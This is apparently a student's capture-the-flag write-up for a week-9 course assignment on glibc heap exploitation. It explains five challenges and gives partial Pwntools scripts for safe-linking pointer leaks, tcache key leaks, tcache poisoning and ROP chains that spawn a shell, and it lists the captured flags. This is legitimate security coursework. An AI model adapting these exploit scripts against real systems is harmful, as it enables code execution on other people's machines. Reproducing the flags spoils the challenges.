Week9-Pwn Write-ups

Name: **Xinsheng Zhu**
UnivID: **N10273832**
NetID: **xz4344**

!!! 700/300 pts solved !!!

Sneaky Heap Leak (50 pts)

```
root@fe550950bf98:/chal/wk9/sneaky_heap_leak# ./sneaky_heap_leak
I need your help again!!
This time I need the start address of the heap!
And all I have to offer is this array of random character buffers :/
Can you find it and get the flag??
What do you want to do?
1. Free an index
2. Read an index
3. Allocate an index
4. Guess the heap's base address
>
```

In this challenge, we are offered an array of random character buffers and need to guess the address of the heap base. Let's directly open the binary file `sneaky_heap_leak` with Binary Ninja to inspect the High-Level IL (screenshot omitted).

We can discover the following points:

- `populate_arr` : Fill 128 buffers with random data and store their pointers in a global array `arr` . Each buffer's size is determined by its index multiplied by 0x10 bytes.
- `free_idx` : Take in an index to free and check if it's valid and allocated. If so, free the buffer at that index and set the pointer `arr[index]` to null.
- `read_idx` : Take in an index to read and check if it's valid and allocated. If so, print the buffer contents at the pointer `arr[index]` .
- `allocate_idx` : Take in an index to allocate and check if it's valid and not allocated. If so, allocate a new buffer of size index multiplied by 0x10 bytes and store the pointer in `arr[index]` .

Thus, our idea is:

1. Free a heap chunk whose size is at most 0x410 with an index of at most 64 (allocated size of 0x400). The freed chunk will go to the tcachebins, and its forward pointer at the first quadword will point to the protected pointer to the next chunk in the tcachebins (`Safe-Linking mechanism: PROTECT_PTR = (pos >> 12) ^ ptr`).
2. Allocate the freed buffer at the same index to pass the check for reading the buffer contents.
3. Read the freed buffer at the same index to get a UAF leak of the protected forward pointer. The heap base address can then be revealed by `((leaked << 12) ^ 0) & ~0xfff` .
4. Send it as a guess.

Part of the script using Pwntools to solve the challenge is shown below.

```python
from pwn import *
......
p = remote(URL, PORT)
......
# Stage 1: Free the arr[0] (heap chunk of size 0x20) to the tcachebins
index = int(0x10 / 0x10 - 1)
free(index)

# Stage 2: Allocate the arr[0] to pass the check
allocate(index)
```

```python
# Stage 3: Read the arr[0] to leak heap base address
heap_base_addr = ((read(index) << 12) ^ 0) & ~0xfff
log.info(f"Leaking heap base address: {hex(heap_base_addr)}")

# Stage 4: Guess heap base address
guess(heap_base_addr)

p.interactive()
```

The captured flag is `flag{s4f3_l1nk1nG_n07_s0_s4f3__!_c034a1229533c436}`.

Useful (and FUN) Message Server v2.0 (150 pts)

```
root@df45a9b8d30c:/chal/wk9/useful_and_fun_message_server_v2.0# ./useful_and_fun_message_server_v2.0
Welcome to the OffSec queue!
We store all your feedback in a fancy queue until
you're ready to send.
But this time, we're using modern mitigations!
Let's start out by giving you a helpful message: �f��h
While we're feeling generous, here is another helpful message: �6��
Choose an option:
1. Add message
2. Review message
3. Edit message
4. Send messages
>
```

In this challenge, with two given addresses, we need to pop a shell. Let's directly open the binary file `useful_and_fun_message_server_v2.0` with Binary Ninja to inspect the High-Level IL (screenshot omitted).

We can discover the following points:

- The first given address is the `printf` address, which can be used to calculate any glibc address; The second given address is the stack address in `environ`, which can be used to calculate any address in the program stack frame.
- `add`: Allocate 0x48 bytes for a new message node (heap chunk of size 0x50): 0x40 bytes for message content and 0x8 bytes for the pointer to the next node. Add the new message node to the end of the linked list.
- `review`: Take in an index of a message to review. If it's valid, traverse the linked list to reach the desired message and print it.
- `edit`: Take in an index of a message to edit. If it's valid, traverse the linked list to the target node and allow editing of 0x40 bytes of message content.
- `send`: Traverse the entire linked list and free each of all nodes as it goes (potential UAF).

Thus, this is obviously a problem of tcache poisoning followed by ROPping. Our idea is:

1. Through the given `printf` address, calculate the glibc base address and the addresses of `system` and `/bin/sh`.
2. Through the given stack address in `environ`, calculate the return address of `add` for ROPping by `stack_addr_in_environ - difference`. The difference is calculated by `p/x (long)environ - ((long)$rbp + 8)`.
3. In preparation for tcache poisoning, add two arbitrary messages (A and B) to the linked list and send them all at once sequentially. At this time, the tcache is "B -> A".
4. Get a UAF leak of the protected forward pointer of message A (the last chunk in tcache) by reviewing message A, and reveal the heap base address by `((leaked << 12) ^ 0) & ~0xfff`. The heap base address can be used to calculate any chunk's position that we want to poison.
5. Perform tcache poisoning:
   - Make use of UAF, editing the first quadword of message B with `((heap_base_addr + 0x2f0) >> 12) ^ (add_return_addr - 0x8)`. Safe-Linking must be considered and 0x10 bytes alignment must be satisfied for `malloc`. At this time, the tcache is "B -> (add_return_addr - 0x8)".
   - Add message C with arbitrary content. At this time, the tcache is "(add_return_addr - 0x8)".
6. Form a simple shell-popping ROP chain and add message D with the content of the ROP chain with an 8-byte arbitrary padding prefix (pass saved rbp). In this way, the tcache is empty and the ROP chain will be stored at the return address of `add`. When exiting `add`, the ROP chain will be hit and a shell will be popped.

Part of the script using Pwntools to solve the challenge is shown below.

```python
from pwn import *
......
p = remote(URL, PORT)
......
# Stage 1: Leak glibc printf address and calculate required glibc addresses
```

```python
print(p.recvuntil(b"a helpful message: ").decode())
glibc_printf_addr = u64(p.recvline().strip().ljust(8, b"\x00"))
log.info(f"Receiving glibc printf address: {hex(glibc_printf_addr)}")
e = ELF("libc.so.6")
glibc_base_addr = glibc_printf_addr - e.symbols.printf
glibc_system_addr = glibc_base_addr + e.symbols.system
glibc_binsh_addr = glibc_base_addr + next(e.search(b"/bin/sh"))

# Stage 2: Leak stack address in environ and calculate return address of add
print(p.recvuntil(b"another helpful message: ").decode())
stack_addr_in_environ = u64(p.recvline().strip().ljust(8, b"\x00"))
log.info(f"Receiving stack address in environ: {hex(stack_addr_in_environ)}")
add_return_addr = stack_addr_in_environ - 0x150

# Stage 3: Prepare for tcache poisoning
add_message(b"A"*0x8)
add_message(b"B"*0x8)
send_messages()

# Stage 4: Leak heap base address
heap_base_addr = ((u64(review_message(0).ljust(8, b"\x00")) << 12) ^ 0) & ~0xfff
log.info(f"Leaking heap base address: {hex(heap_base_addr)}")

# Stage 5: Perform tcache poisoning
edit_message(1, p64(((heap_base_addr + 0x2f0) >> 12) ^ (add_return_addr - 0x8)))
add_message(b"C"*0x8)

# Stage 6: Form and deploy ROP chain by calling add
r = ROP("libc.so.6")
chain = [
    r.rdi.address + glibc_base_addr,
    glibc_binsh_addr,
    r.ret.address + glibc_base_addr,
    glibc_system_addr
]
add_message(b"D"*0x8 + b"".join([p64(addr) for addr in chain]))

p.interactive()
```

The captured flag is `flag{Unw4v3r1ng_AND_fl0ur1shinG_!_178ab5634ef45e3b}`.

Biiiiig Message Server v2.0 (150 pts)

```
root@df45a9b8d30c:/chal/wk9/big_message_server_v2.0# ./big_message_server_v2.0
Welcome to the OffSec queue!
We store all your feedback in a fancy queue until
you're ready to send.
Let's start out by giving you a helpful message: ��[�r
While we're feeling generous, here is another helpful message: h���
Choose an option:
1. Add message
2. Review message
3. Edit message
4. Send messages
>
```

In this challenge, with two given addresses, we need to pop a shell. Let's directly open the binary file `big_message_server_v2.0` with Binary Ninja to inspect the High-Level IL (screenshot omitted).

We can discover the following points:

- The first given address is the `printf` address, which can be used to calculate any glibc address; The second given address is the stack address in `environ`, which can be used to calculate any address in the program stack frame.
- `add`: Allocate 0x48 bytes for a new message node (heap chunk of size 0x50): 0x8 bytes for the pointer to the next node and 0x40 bytes for message content (start from the address of `&node +0x8`). Add the new message node to the end of the linked list.
- `review`: Take in an index of a message to review. If it's valid, traverse the linked list to reach the desired message and print it.
- `edit`: Take in an index of a message to edit. If it's valid, traverse the linked list to the target node and allow editing of 0x60 bytes of message content (heap overflow vulnerability).
- `send`: Take in an index of a message to send. If it's valid, traverse the entire linked list to the target node and free it, properly updating the linked list when removing the node (potential UAF).

Thus, this is obviously a problem of tcache poisoning followed by ROPping. Our idea is:

1. Through the given `printf` address, calculate the glibc base address and the addresses of `system` and `/bin/sh`.
2. Through the given stack address in `environ`, calculate the return address of `add` for ROPping by `stack_addr_in_environ - difference`. The difference is calculated by `p/x (long)environ - ((long)$rbp + 8)`.
3. In preparation for tcache poisoning, add three arbitrary messages (A, B, and C) to the linked list and send message C only (at index 2). At this time, the tcache is "C".
4. Utilizing heap overflow vulnerability, get a UAF leak of the protected forward pointer of message C (the last chunk in tcache) by editing message B (overflow message C's inline metadata) and then reviewing message B (over-print it out as string) (at index 1), and reveal the heap base address by `((leaked << 12) ^ 0) & ~0xfff`. The heap base address can be used to calculate any chunk's position that we want to poison. After that, it's necessary to recover the inline metadata for sent message C before sending message B later. At this time, the tcache is "B -> C".
5. Perform tcache poisoning:
   - Make use of UAF, editing message A (at index 0) to overflow the first quadword of message B with `((heap_base_addr + 0x2f0) >> 12) ^ (add_return_addr - 0x8)` (keep message B's inline metadata unchanged). Safe-Linking must be considered and 0x10 bytes alignment must be satisfied for `malloc`. At this time, the tcache is "B -> (add_return_addr - 0x8)".
   - Add message D with arbitrary content. At this time, the tcache is "(add_return_addr - 0x8)".
6. Form a simple shell-popping ROP chain and add message E with the content of the ROP chain with no padding prefix. In this way, the tcache is empty and the ROP chain will be stored at the return address of `add`. When exiting `add`, the ROP chain will be hit and a shell will be popped.

Part of the script using Pwntools to solve the challenge is shown below.

```python
from pwn import *
......
p = remote(URL, PORT)
......
# Stage 1: Leak glibc printf address and calculate required glibc addresses
print(p.recvuntil(b"a helpful message: ").decode())
glibc_printf_addr = u64(p.recvline().strip().ljust(8, b"\x00"))
log.info(f"Receiving glibc printf address: {hex(glibc_printf_addr)}")
e = ELF("libc.so.6")
glibc_base_addr = glibc_printf_addr - e.symbols.printf
glibc_system_addr = glibc_base_addr + e.symbols.system
glibc_binsh_addr = glibc_base_addr + next(e.search(b"/bin/sh"))

# Stage 2: Leak stack address in environ and calculate return address of add
print(p.recvuntil(b"another helpful message: ").decode())
stack_addr_in_environ = u64(p.recvline().strip().ljust(8, b"\x00"))
log.info(f"Receiving stack address in environ: {hex(stack_addr_in_environ)}")
add_return_addr = stack_addr_in_environ - 0x150

# Stage 3: Prepare for tcache poisoning
add_message(b"A"*0x40)
add_message(b"B"*0x8)
add_message(b"C"*0x8)
send_message(2)

# Stage 4: Leak heap base address
edit_message(1, b"B"*0x48)
heap_base_addr = ((u64(review_message(1)[0x48:].ljust(8, b"\x00")) << 12) ^ 0) & ~0xfff
log.info(f"Leaking heap base address: {hex(heap_base_addr)}")
edit_message(1, b"B"*0x40 + p64(0x51))
send_message(1)

# Stage 5: Perform tcache poisoning
edit_message(0, b"A"*0x40 + p64(0x51) + p64(((heap_base_addr + 0x2f0) >> 12) ^ (add_return_addr - 0x8)))
add_message(b"D"*0x8)

# Stage 6: Form and deploy ROP chain by calling add
r = ROP("libc.so.6")
chain = [
    r.rdi.address + glibc_base_addr,
    glibc_binsh_addr,
    r.ret.address + glibc_base_addr,
    glibc_system_addr
]
add_message(b"".join([p64(addr) for addr in chain]))

p.interactive()
```

The captured flag is `flag{UN570ppabl3_&_Uny13ld1ng!_!_34fda9b6b270708e}`.

Keymaker (50 pts)

```
root@df45a9b8d30c:/chal/wk9/keymaker# ./keymaker
Welcome to the OffSec Keymaking machine!
We have a special going on where you can get
ONE FREE KEY with a custom message!

Choose an option:
1. Make key
2. Review key
3. Edit key
4. Delete key
>
```

In this challenge, we need to leak the tcache key. Let's directly open the binary file `keymaker` with Binary Ninja to inspect the High-Level IL (screenshot omitted).

We can discover the following points:

- `make`: Take in an identifier to allocate 0x8 bytes for the buffer `key`.
- `print`: Print the string (end with \0) stored in the buffer `key`.
- `edit`: Take in an identifier to edit the first quadword stored in buffer `key`.
- `delete`: Free the buffer `key` but not null out the pointer (potential UAF).
- After whichever `make`, `print`, `edit`, or `delete` is called, we will be asked to guess the tcache key.

Thus, our idea is:

1. Allocate the buffer `key` with an arbitrary identifier and guess the tcache key with any value.
2. Free the buffer `key` and guess the tcache key with any value. The freed chunk of size 0x20 will go to the tcachebins. The first quadword stores the protected forward pointer. The second quadword stores the tcache key.
3. Edit the buffer `key` with an arbitrary 8-byte identifier and guess the tcache key with any value. This is because we need to fill the first quadword with non-zero bytes in order to leak the tcache key in the second quadword when printing the string stored in the buffer `key`.
4. Review the buffer `key` to print the string stored in it, leaking the tcache key with an 8-byte padding prefix, extract the tcache key, and then guess the tcache key with any value.
5. Allocate the buffer `key` again with an arbitrary identifier and send the retrieved tcache key as a guess. The re-allocation is necessary for cleaning up the tcache key in the second quadword because we cannot free the buffer `key` whose second quadword stores the tcache key.

Part of the script using Pwntools to solve the challenge is shown below.

```python
from pwn import *
......
p = remote(URL, PORT)
......
# Stage 1: Allocate the key of size 0x8 (heap chunk size of 0x20)
make("A"*0x8)
guess(0)

# Stage 2: Free the key to the tcachebins
delete()
guess(0)

# Stage 3: Edit the key to overwrite the first quadword
edit("B"*0x8)
guess(0)

# Stage 4: Review the string of the key to leak tcache key in the second quadword
tcache_key = u64(review()[8:])
log.info(f"Leaking tcache key: {hex(tcache_key)}")
```

```
guess(0)

# Stage 5: Allocate the key again to clean up tcache key in the second quadword and guess tcache key
make("C"*0x8)
guess(tcache_key)

p.interactive()
```

The captured flag is `flag{Fr33_tc@ch3_k3y5_4_3v3ry1_!_6d7715b82e67db9f}`.

Comics v2.0 (300 pts)

```
root@df45a9b8d30c:/chal/wk9/comics_v2.0# ./comics_v2.0
My favorite comic is Cyanide and Happiness! Can you help me create
a new comic using this template of Greenshirt and a computer??
Please select an option?
1. Create a new comic
2. Print a comic
3. Edit a comic
4. Delete a comic
5. Quit
>
```

In this challenge, with two given addresses, we need to pop a shell. Let's directly open the binary file `comics_v2.0` with Binary Ninja to inspect the High-Level IL (screenshot omitted).

We can discover the following points:

- `create`: Read up to 0x500 bytes of text input, allocate memory based on input length, increment global variable `count` and store its pointer in a global array `comics`.
- `print`: Take in an index of a comic to print. If it's valid, print out the decorated comic text.
- `edit`: Take in an index of a comic to edit. If it's valid, allow editing of the same length as the original of the comic text.
- `delete`: Take in an index of a comic to delete. If it's valid, simply free the pointer but no pointer nulling (UAF vulnerability).

Thus, this is obviously a problem of tcache poisoning followed by ROPping. Our idea is:

1. Create a large comic A (heap chunk of size 0x420), followed by a small comic B (heap chunk of size 0x20), which is a guard allocation to avoid consolidating big allocations together, then delete and print the large comic A (at index 0) to apply the unsorted bin pointer leak of a glibc address (both fw (forward) and bk (back) pointers point to a glibc address). Calculate the glibc base address then and the addresses of `system`, `/bin/sh`, and `environ` for further use.
2. Delete the small comic B (at index 1), after which the tcache is "B". At this time, the tcache is empty. Print the small comic B (at index 1) to get a UAF leak of the protected forward pointer of the small comic B (the last chunk in tcache), and reveal the heap base address by `((leaked << 12) ^ 0) & ~0xfff`. The heap base address can be used to calculate any chunk's position that we want to poison.
3. In preparation for the first tcache poisoning, create another large comic C (heap chunk of size 0x420) to exhaust the unsorted bin, followed by two small comics D and E (heap chunk of size 0x20), and then delete the small comic D (at index 3) and comic E (at index 4). At this time, the tcache is "E -> D".
4. Perform the first tcache poisoning:
   - Make use of UAF, editing comic E with (at index 4) `((heap_base_addr + 0x6e0) >> 12) ^ (glibc_environ_addr - 0x10)`. Safe-Linking must be considered and 0x10 bytes alignment must be satisfied for `malloc`. At this time, the tcache is "E -> (glibc_environ_addr - 0x10)". The setting of `glibc_environ_addr - 0x10` enables the over-print out of the stack address in `environ` as a string later.
   - Create a small comic F (heap chunk of size 0x20). At this time, the tcache is "glibc_environ_addr - 0x10".
   - Create a small comic G (heap chunk of size 0x20) with 0x10 bytes of arbitrary content, stored starting from `glibc_environ_addr - 0x10`, overflowing the prefix 0x10 bytes before `glibc_environ_addr`, which ensures the over-print out of the stack address in environ as a string later. At this time, the tcache is empty.
   - Print the small comic G (at index 6) to get a leak of the stack address in `environ` (over-print it out as string).
   - Calculate the return address of `create` for ROPping by `stack_addr_in_environ - difference`. The difference is calculated by `p/x (long)environ - ((long)$rbp + 8)`.
5. In preparation for the second tcache poisoning, create two small comics H and I (heap chunk of size 0x30), and then delete the small comic H (at index 7) and comic I (at index 8). At this time, the tcache is "I -> H".
6. Perform the second tcache poisoning:

- Make use of UAF, editing comic I (at index 8) with `((heap_base_addr + 0x730) >> 12) ^ (create_return_addr - 0x8)`. Safe-Linking must be considered and 0x10 bytes alignment must be satisfied for `malloc`. At this time, the tcache is "I -> (create_return_addr - 0x8)".
- Create a small comic J (heap chunk of size 0x30) with arbitrary content. At this time, the tcache is " (create_return_addr - 0x8)".

7. Form a simple shell-popping ROP chain and create a small comic K (heap chunk of size 0x30) with the content of the ROP chain with a 0x8 bytes of padding prefix (pass saved rbp). In this way, the tcache is empty and the ROP chain will be stored at the return address of `create`. When exiting `create`, the ROP chain will be hit and a shell will be popped.

Part of the script using Pwntools to solve the challenge is shown below.

```python
from pwn import *
......
p = remote(URL, PORT)
......
# Stage 1: Leak glibc base address and calculate required glibc addresses
create_comic(b"A"*0x410)
create_comic(b"B"*0x8)
delete_comic(0)
glibc_base_addr = (u64(print_comic(0)[0x12c:0x12c+6].ljust(8, b"\x00"))& ~0xfff) - 0x21a000
log.info(f"Leaking glibc base address: {hex(glibc_base_addr)}")
e = ELF("libc.so.6")
glibc_system_addr = glibc_base_addr + e.symbols.system
glibc_binsh_addr = glibc_base_addr + next(e.search(b"/bin/sh"))
glibc_environ_addr = glibc_base_addr + e.symbols.environ

# Stage 2: Leak heap base address
delete_comic(1)
heap_base_addr = ((u64(print_comic(1)[0x12c:0x12c+5].ljust(8, b"\x00")) << 12) ^ 0) & ~0xfff
log.info(f"Leaking heap base address: {hex(heap_base_addr)}")

# Stage 3: Prepare for the first tcache poisoning
create_comic(b"C"*0x410)
create_comic(b"D"*0x8)
create_comic(b"E"*0x8)
delete_comic(3)
delete_comic(4)

# Stage 4: Perform the first tcache poisoning to leak stack address in environ and calculate return address
of create
edit_comic(4, p64(((heap_base_addr + 0x6e0) >> 12) ^ (glibc_environ_addr - 0x10)))
create_comic(b"F"*0x8)
create_comic(b"G"*0x10)
stack_addr_in_environ = u64(print_comic(6)[0x12c+0x10:0x12c+0x10+6].ljust(8, b"\x00"))
log.info(f"Leaking stack address in environ: {hex(stack_addr_in_environ)}")
create_return_addr = stack_addr_in_environ - 0x140

# Stage 5: Prepare for the second tcache poisoning
create_comic(b"H"*0x28)
create_comic(b"I"*0x28)
delete_comic(7)
delete_comic(8)

# Stage 6: Perform the second tcache poisoning
edit_comic(8, p64(((heap_base_addr + 0x730) >> 12) ^ (create_return_addr - 0x8)))
create_comic(b"J"*0x28)

# Stage 7: Form and deploy ROP chain by calling create
r = ROP("libc.so.6")
chain = [
    r.rdi.address + glibc_base_addr,
    glibc_binsh_addr,
    r.ret.address + glibc_base_addr,
    glibc_system_addr
]
create_comic(b"K"*0x8 + b"".join([p64(addr) for addr in chain]))
```

```
p.interactive()
```

The captured flag is `flag{G00DBY3_fr33h00k_h3ll0_n3w_FR13ND_3nv1r0n:)_f8c721699cb3ccf7}`.